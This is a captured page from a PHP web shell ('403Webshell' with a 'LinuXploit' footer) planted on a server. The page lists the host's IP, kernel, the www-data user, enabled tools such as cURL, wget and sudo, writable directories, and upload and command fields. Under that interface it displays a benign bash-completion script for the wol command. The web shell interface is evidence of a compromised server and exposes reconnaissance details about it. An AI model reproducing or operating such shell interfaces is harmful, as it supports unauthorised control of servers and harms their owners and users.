403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/bash-completion/completions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/bash-completion/completions/wol
# wol(1) completion                                        -*- shell-script -*-

_comp_cmd_wol()
{
    local cur prev words cword was_split comp_args
    _comp_initialize -s -n : -- "$@" || return

    local noargopts='!(-*|*[pwhif]*)'
    # shellcheck disable=SC2254
    case $prev in
        --version | --help | --port | --passwd | --wait | -${noargopts}[Vpw])
            return
            ;;
        --host | --ipaddr | -${noargopts}[hi])
            # Broadcast addresses
            local PATH=$PATH:/sbin
            _comp_compgen_split -- "$({
                ip -c=never addr show || ip addr show || ifconfig -a
            } 2>/dev/null |
                command sed \
                    -ne 's/.*[[:space:]]Bcast:\([^[:space:]]*\).*/\1/p' \
                    -ne 's/.*inet.*[[:space:]]brd[[:space:]]\([^[:space:]]*\).*/\1/p' \
                    -ne 's/.*[[:space:]]broadcast[[:space:]]\{1,\}\([^[:space:]]*\).*/\1/p')"
            _comp_compgen -a known_hosts -- "$cur"
            return
            ;;
        --file | -${noargopts}f)
            _comp_compgen_filedir
            return
            ;;
    esac

    [[ $was_split ]] && return

    if [[ $cur == -* ]]; then
        _comp_compgen_help
        [[ ${COMPREPLY-} == *= ]] && compopt -o nospace
        return
    fi

    _comp_compgen_mac_addresses
} &&
    complete -F _comp_cmd_wol wol

# ex: filetype=sh

Youez - 2016 - github.com/yon3zu
LinuXploit